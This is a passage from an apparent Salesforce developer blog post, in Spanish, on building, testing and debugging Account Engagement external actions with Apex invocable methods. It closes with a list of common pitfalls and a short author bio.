Normalmente creo dos clases, una para la entrada y otra para la solicitud de API. Separar mi código en dos clases facilita jsonificar la carga útil. Mi clase de entrada contiene todos los campos de variables invocables que la acción invocable necesita en la entrada. Mi solicitud de API contiene los campos de la solicitud JSON.
InvocableMethod
construirá la carga útil a partir de la entrada, la convertirá a JSON y luego la agregará a la solicitud HTTP. A continuación, configura el resto de la solicitud HTTP agregando la URL, los encabezados y el método. Finalmente, realiza la llamada a la API y comprueba si el resultado es correcto o, de lo contrario, genera un error útil para diagnosticar un problema.
Consideración importante: el marco de acción externa espera que se devuelva un error si hay una falla en lugar de detectar el error y luego devolver el éxito. Si se devuelve un error, se informará en la tabla de errores.
Poniendo a prueba tus acciones externas
De vez en cuando, mientras crea una acción externa, encontrará errores. Cuanto más pueda probar sobre la marcha, más fácil será descubrir dónde radica el problema. Es por eso que recomiendo agregar un paso de prueba para probar en Salesforce Flow antes de probar en Engagement Studio. Elimina la configuración de la acción externa de la imagen, por lo que si la verifica aquí, pero no funciona en Engagement Studio, sabrá que el problema radica en la configuración de la acción externa.
Las pruebas lo ayudan a identificar errores, pero determinar la causa raíz y corregirlos es otra cosa. A continuación se presentan algunas de las técnicas que utilizo para diagnosticar las causas fundamentales.
- Consola de desarrollador de Salesforce : utilizo la consola de desarrollo para ejecutar mis casos de prueba y confirmar la cobertura de mi código. Durante las pruebas exploratorias en Flow, mantengo abierta mi consola de desarrollo, por lo que genera registros para usar en la investigación de errores.
- Rastreos de registro de Salesforce : si el error ocurre durante mi prueba de Engagement Studio, coloco un rastreo de usuario en el usuario de integración B2BMA, para poder ver mis registros de Apex y diagnosticar el problema más a fondo. Tenga cuidado, podría terminar con una gran cantidad de datos. El Usuario de Integración B2BMA es el usuario que ejecuta acciones externas.
- Errores de acción externa de compromiso de cuenta : la tabla proporciona cualquier error devuelto por la acción externa que resultó en una falla. Es útil ver lo que sucedió durante una ejecución de ES.
SUGERENCIA: si tiene una cuenta de Gmail, puede usar un "+" para crear varios registros con su dirección de correo electrónico. Por ejemplo, puedo registrar tanto "ejemplo@ejemplo.com" como "ejemplo+usuario2@ejemplo.com" como prospecto, y cualquier correo enviado a esas direcciones iría al buzón de correo de ejemplo@ejemplo.com. Por ejemplo, usé esto para probar el ejemplo de registro de Zoom porque no quería que el correo electrónico registrado rebotara.
Errores comunes
Los errores van a suceder, así es la vida. Me he encontrado con algunos escenarios que me han hecho casi tirarme de los pelos.
El primero es garantizar que la acción exterior sea activa. Si la acción no aparece en Engagement Studio, es probable que esta sea la causa. Recuerde, debe activar tanto la extensión de la aplicación de marketing como la acción externa, además de asignarla a esa unidad comercial.
El siguiente es asegurarse de que su clase de Apex esté activa. La mayoría de las veces ya estará marcado como activo, es el estado predeterminado cuando creas una nueva clase. Es exactamente por eso que es fácil pasarlo por alto.
Otro es buscar extensiones de aplicaciones de marketing al empaquetar. No puedo decirte cuántas veces busco acciones externas, solo para tener un momento de confusión antes de recordar.
Finalmente, si su acción externa no funciona, pero no ve errores, verifique que la acción invocable fue diseñada para generar un error en caso de falla.
Lo anterior no es de ninguna manera exhaustivo, y es probable que encuentre sus propias alegrías. Sin embargo, recomiendo compartirlos con la comunidad si encuentra algunos buenos.
¿Que estas esperando? ¡Empiece hoy!
Ahora sabe casi todo lo que hago sobre las acciones externas, desde cómo funciona la función hasta los errores comunes. Recuerde que Acciones externas es su herramienta siempre que se encuentre diciendo: "Me gustaría hacer algo cuando el cliente potencial haga esto", y lo ayudará a automatizar esa acción.
Entonces, configure su entorno de desarrollador, revise la aplicación de referencia y comience a construir su acción externa hoy. El 20 de julio a las 10 a. m. (hora del Pacífico) , realizaremos una sesión de CodeLive en nuestro canal de YouTube para desarrolladores de Salesforce , así que únase y síganos mientras construimos una extensión de la aplicación de marketing de Twilio.
Recursos
Sobre el Autor
Christopher Cornett es gerente sénior de productos en Salesforce, responsable de la experiencia del desarrollador de Account Engagement. Ha trabajado para Salesforce durante más de cuatro años y tiene más de 13 años de experiencia en gestión de productos, trabajando principalmente en plataformas que van desde la atribución de big data hasta el fraude. Christopher ha ayudado a ofrecer API V5 y extensiones de aplicaciones de marketing, ayudando a los clientes a crear integraciones personalizadas para que su pila de marketing funcione para ellos. Le apasiona la experiencia del desarrollador y le encanta jugar con todas las excelentes funciones para ver qué es posible.
Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.
Agregar a Slack Suscríbete a RSS